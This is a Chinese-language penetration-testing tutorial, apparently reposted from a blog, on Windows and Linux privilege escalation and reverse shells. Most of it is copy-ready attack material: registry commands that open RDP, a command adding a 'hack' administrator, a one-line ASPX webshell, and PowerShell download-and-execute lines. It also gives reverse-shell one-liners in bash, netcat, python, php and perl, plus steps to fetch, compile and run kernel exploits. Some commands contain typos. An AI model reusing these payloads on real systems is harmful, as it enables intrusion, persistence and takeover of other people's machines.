一:权限提升概述
在渗透测试或者漏洞评估的过程中,提权是非常重要的一步,对于渗透来说,获得的权限越高,控制的服务器就会越多。
网站首先通过漏洞获取webshell,然后通过shell进行提权。
计算机中的权限:
匿名访问权限
来宾权限
用户权限
管理员权限
系统权限
水平权限提升(越权)
同级账户间切换身份,比如有ABC三个用户,AB是普通用户只能自己发帖,然后只能删除自己的贴,C是管理员能删除所有人的帖子,然后突然A可以删除B的帖子了,这就是越权。
垂直权限提升
普通用户获得了管理员的权限
web用户直接提权成管理员用户
文章来源地址https://www.toymoban.com/news/detail-471060.html
二:windows提权
前提:
基于webshell提权,也就是说目标机器存在大马文件了。
IIS服务 用aspx大马
asp脚本权限比较低,尝试上传aspx的大马
如果目标使用的是套件搭建的网站,如:phpstudy xampp wampserver 获取webshell之后基本上就是系统或管理员权限。
还有个套件叫宝塔,权限待确定,安全性比较高,禁用很多函数,考虑绕过。
2.1: 启动项提权
主要是权限维持
2.2:系统漏洞提权
2.2.1:笔记
找补丁,找漏洞,找EXP(漏洞利用程序)
可能会遇到的问题:
1、无法执行cmd命令
2、无法上传提权exp,原因一般是目录没有写权限,那么就寻找有“写权限”的目录。如:日志,缓存,回收站,大马所在目录,windows/temp
3、针对windows系统,对方若是没有开启,那么我们就需要在命令行下开启3389端口,以下是源代码
针对win2003系统
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
针对win2003/win2008,新建一个3389.bat文件,写入下方代码
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
4、如何创建windows用户,并添加到管理员组
net user hack 123.com /add
net localgroup administrators hack /add
2.2.2:部分截图
通过命令查看有哪些补丁没有安装
此命令对于win2008更好用一些
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB2503665 KB3031432) do @type C:\Windows\Temp\a.txt|@find /I "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
开启3389远程端口
2.2.3:收集到的漏洞列表:
CVE-2021-33739 [Microsoft DWM Core Library Elevation of Privilege Vulnerability] (Windows 10, 20)
CVE-2021-1732 [Windows Win32k Elevation of Privilege Vulnerability] (Windows 10, 2019/20H2)
CVE-2020-0787 [Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability] (Windows 7/8/10, 2008/2012/2016/2019)
CVE-2020-0796 [A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'] (Windows 1903/1909)
CVE-2019-1458 [An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory] (Windows 7/8/10/2008/2012/2016)
CVE-2019-0803 [An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory] (Windows 7/8/10/2008/2012/2016/2019)
CVE-2018-8639 [An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory] (Windows 7/8/10/2008/2012/2016)
CVE-2018-1038 [Windows Kernel Elevation of Privilege Vulnerability] (Windows 7 SP1/Windows Server 2008 R2 SP1)
CVE-2018-0743 [Windows Subsystem for Linux Elevation of Privilege Vulnerability] (Windows 10 version 1703/Windows 10 version 1709/Windows Server version 1709)
CVE-2018-8453 [An elevation of privilege vulnerability in Windows Win32k component] (>= windows 8.1)
CVE-2018-8440 [Windows ALPC Elevation of Privilege Vulnerability] (windows 7/8.1/10/2008/2012/2016)
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
MS15-097 [KB3089656] [remote code execution] (win8.1/2012)
MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)
MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)
MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)
MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)
MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)
MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)
MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)
MS14-070 [KB2989935] [Kernel Driver] (2003)
MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)
MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
MS14-066 [KB2992611] [Windows Schannel Allowing remote code execution] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2 SP1/2012/2012 R2/Windows RT/Windows RT 8.1)
MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)
MS14-002 [KB2914368] [NDProxy] (2003/XP)
MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)
MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)
MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)
MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)
MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)
MS11-080 [KB2592799] [AFD.sys] (2003/XP)
MS11-062 [KB2566454] [NDISTAPI] (2003/XP)
MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)
MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)
MS10-092 [KB2305420] [Task Scheduler] (2008/7)
MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)
MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)
MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)
MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)
MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2)
MS09-050 [KB975517] [Remote Code Execution] (2008/Vista)
MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)
MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)
MS08-068 [KB957097] [Remote Code Execution] (2000/XP)
MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008)
MS08-066 [KB956803] [AFD.sys] (Windows 2000/XP/Server 2003)
MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)
MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)
MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)
MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
2.2.4:windows2003 pr.exe提权实验
环境win2003(开启了iis服务,注意这里有个坑,后面会讲到)
提权文件:pr.exe文件,点我下载(访问密码:SGpAtK)
中国菜刀,这里用菜刀,中国蚁剑一直在“加载转圈圈”,下载菜刀,点我下载 (访问密码:7tdxKP)
首先在win2003部署好iis服务,这里就不赘述了,可以参看我的第六章内容
坑点:
如下图所示,装完IIS一般是没有图中红框内容的,如果没有这个扩展服务,那么启动菜刀或者蚁剑都会报错http:1.1 405 not allowed ,这是因为iis6.0不支持POST方法,所以一定要有下图红框中的那个服务。
那么怎么才能有呢?我也是找了很久百度,没有结果,都是说些看不懂的话,唉。。。
后来在微软官方的这个网站https://blogs.iis.net/brian-murphy-booth/how-to-setup-asp-net-v1-1-visual-studio-net-2003-projects-on-iis7-vista里面受到启发,会不会是这个服务在创建iis的时候就要安装呢?然后。。。果不其然。
上图中那个勾要勾选上。
还有就是:这两个服务设置为允许
启用父路径
再准备一个一句话木马和大马,这两个文件均放在C:\Inetpub\wwwroot 这个目录下
创建一个文件:yjh.aspx
内容如下:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
大马文件,请参考我的 054 webshell介绍与文件上传漏洞 里面有大马下载地址。
我们通过真实机的菜刀连接(真实机与win2003同一网络中),其中192.168.152.129为win2003IP地址。
连接完成之后,右键进入虚拟终端。输入命令进行测试,发现权限不足
打开真实机的浏览器,输入大马密码cc2789进入下图页面
进行文件上传
查看隐藏文件
好的,,那么接下来,我们回到菜刀。
进入上述目录,执行命令,发现提权成功了,身份是系统权限
2.2.5:windows分析工具利用
1、winsystemhelper-master
2、Sherlock
本地加载脚本
Import-Module Sherlock.ps1
远程加载脚本
IEX(New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/rastr-mouse/Sherlock/master/Sherlock.ps1")
发现漏洞
Find-AllVulns
3、Privesc
本地加载脚本
Import-Module.\Privesc.psm1
获取函数
Get-Command -Module Privesc
检测全部信息
Invoke-AllChecks
命令行下执行
powershell.exe -exec bypass -Command "&{Import-Module.\PowerUp.ps1;Invoke-AllChecks}"
远程调用执行
powershell - nop -exec bypass -c "IEX(New-Object Net.WwebClient).DownloadString('http://dwz.cn/2vkbfP');Invoke-AllChecks"
添加用户
Install-ServiceBinary -ServiceName 'Apache_pn' -UserName huanquan -Password 123456
2.2.6:windows2008 VCE-2018-8120提权实战
前提:
win2008服务器 + iis7
exe文件,点我下载 (访问密码:Duca2z)
通过webshell获得一个低权限用户后上传CVE-2018-8120.exe到文件夹
三:反弹shell
3.1:概述
先了解什么是shell?
shell是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。
什么是shell脚本?
是一种为shell编写的脚本程序。
基于webshell反弹shell,建立一个持久性的连接。
命令解释器
正向shell:我主动连接服务器,服务器开启ssh端口
反向shell:服务器主动连接我们,我们监听某一个端口
3.2:NetCat工具
在网络工具中有“瑞士军刀”美誉,有windows和Linux的版本,因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用。
windows版本:点我下载,包含64位 (访问密码:SwnrNn)
安装:yum install nc
主要参数:
-l 使用监听模式
-v 显示执行过程
-p 设置本地主机使用的通信端口
例子:
两台机都有安装NetCat
攻击机:nc -lvp 4444
目标机:nc 192.168.1.1 4444 -e /bin/bash 这个IP是攻击机的IP
3.3:Linux反弹shell
攻击机:nc -lvp 4444
客户机:bash -i >& /dev/tcp/192.168.1.1/4444 0>&1 这个IP是攻击机的IP
上述命令解释:
bash -i 创建一个交互式的bash
>& 将输出重定向到文件
/dev目录 存放linux操作系统的各种设备
/dev/tcp 文件不存在,但是打开该文件相当于发起了socket,建立了一个连接
/192.168.1.1/4444 表示socket连接的ip和端口
0>&1 表示标准输入重定向到标准输出,即我们可以远程输入,并且可以得到远程的输出
Linux反弹shell其他方法(很奇怪的命令):
方法2:exec 5<>/dev/tcp/192.168.1.1/4444;cat <&5 | while read line; do $line 2>$5 >$5; done
方法3:0<&196;exec 196<>/dev/tcp/192.168.1.1/4444; sh <&196 >&196 2>&196
3.4:windows反弹shell
nc.exe
我:
nc -lvvp 1234 kali系统 自定义监听端口号
服务器:
nc.exe -e cmd.exe ip port 例如:nc.exe -e cmd.exe 192.168.1.1 1234
这样就能在kali的命令窗口进入到服务器电脑的cmd中。
示例在3.8.2:kali与win7 -e参数的使用
3.5:python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3.6:php反弹shell
php -r '$sock=fsockopen("192.168.1.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
3.7:perl(不熟悉)反弹shell
perl -e 'use Socket;$i="192.168.1.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3.8:反弹shell示例
3.8.1:kali与win7
环境:
kali:192.168.100.1
win7:192.168.100.2
netcat
kali:开启1234端口监听
win7上,下载文件,解压。CMD命令进入对应的路径下
输入nc.exe 192.168.100.1 1234
连接监听
我们切回kali,输入问候语hello this is kali
然后win7上就能看到,然后win7上输入的内容kali也能看到,,,接下来就能开启尬聊了
当然,任一方按Ctrl+C即可终止这尴尬的聊天。
3.8.2:kali与win7 -e参数的使用
环境:
kali:192.168.100.1
win7:192.168.100.2
netcat
kali
win7
3.8.3:kali与Ubuntu
kali
nc -lvp 2333
ubuntubash -i >& /dev/tcp/192.168.100.1/2333 0>&i
3.8.4:python shell 示例
kali
Ubuntu
3.8.5:php shell示例
环境:
kali
ubuntu
前提:ubuntu需要安装PHP环境
可以依次运行以下命令
1、更新检查sudo apt-get update
2、安装Apachesudo apt-get install apache2
安装完成后我们在浏览器输入我们的域名(本地即为localhost),打开出现我们期待已久的Apache页面就表示安装成功
啦!
3、安装PHPsudo apt-get install php7.0
4、查看安装是否成功php -v
环境准备好了之后
kali 这里kali的IP地址变成了192.168.100.5(刚才电脑蓝屏了,然后虚拟机中的win2008,我是开启了DHCP服务的,重新分配了个IP)
Ubuntu
三:Linux提权
3.1:提权方法图
3.2:笔记
利用系统漏洞提权
内核提权
第三方软件
套路比较多,很难想象,实战中体会
dc系列---靶机渗透---提权操作
收集系统信息
uname -a
id
pwd
cat /etc/issue Kali GNU/Linux Rolling \n \l
w 谁目前已登录了,正在做什么?
last 最后登录的用户列表
lastlog 所有用户上次登录的信息
lastlog -u %username% 有关指定用户上次登录的信息
linux提权套路:
和windows类似,windows需要传一个.exe文件,而这里也需要传一个文件
套路步骤:
wget http://exp/exp.c
gcc -o exp exp.c
chmod +x exp
./exp
搜索漏洞库
kali漏洞库
searchsploit centos 7
searchsploit -m 35370
kali中开启http服务
python -m SimpleHTTPServer 8080
运行提权脚本
gcc 35370.c -o exploit -lpthread
./exploit
3.3:示例 提权辅助脚本
3.3.1:蚁剑上传suggester.sh
若是通过蚁剑或者菜刀手动上传文件不成功,亦或是上传之后就被删除,那么也可以通过发送http请求去下载文件
wget
wget http://192.168.1.1:8000/linux-exploit-suggester.sh > les.sh 把下载的文件保存到les.sh中
也可以用curl
环境:
需要准备一个sh文件,下载地址:点我下载 (访问密码:UbcWMX)
kali 需要安装好php 服务,并且开启apache服务。
开启apache服务service apache2 start
验证是否开启成功,浏览器访问kali系统
在 /var/www/html 目录下新建一个 test/.php 一句话木马文件
通过中国蚁剑与之相连
通过蚁剑上传文件到/tmp目录下
名字太长了,重命名一下
然后在蚁剑的虚拟终端,赋予其执行的权限chmod +x exploit.sh
再运行./exploit.sh
得到很多的CVE(图中只显示出一个) 都可以尝试性进行提权。能否成功不好说。
3.3.2:搜索漏洞库
kali漏洞库
searchsploit centos 7
searchsploit -m 35370
首先创建文件夹centos7,便于存放东西,进入该目录下,如下图
保存文件
把保存的文件上传到目标服务器中去,那么就需要在kali中开启http服务:python -m SimpleHTTPServer 8080
然后浏览器访问kali
然后通过蚁剑下载文件到目标服务器上,wget http://192.168.152.130:8080/35370.c
上图中没有发现文件,把虚拟终端关闭,然后清空所有缓存,重新打开即可。
通过浏览器的访问,我们得到运行提权脚本的命令
蚁剑运行提权脚本
gcc 35370.c -o exploit -lpthread
./exploit
有警告信息
把虚拟终端关闭,然后清空所有缓存,再重新打开
终是未能成功。文章来源:https://www.toymoban.com/news/detail-471060.html
四:数据库提权
MSSQL
xp_cmdshell cmd命令
前提是能够获取mssql sa的密码
mysql提权
利用mysql执行cmd命令
udf
mof
第三方软件提权
到了这里,关于059 提权与反弹shell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!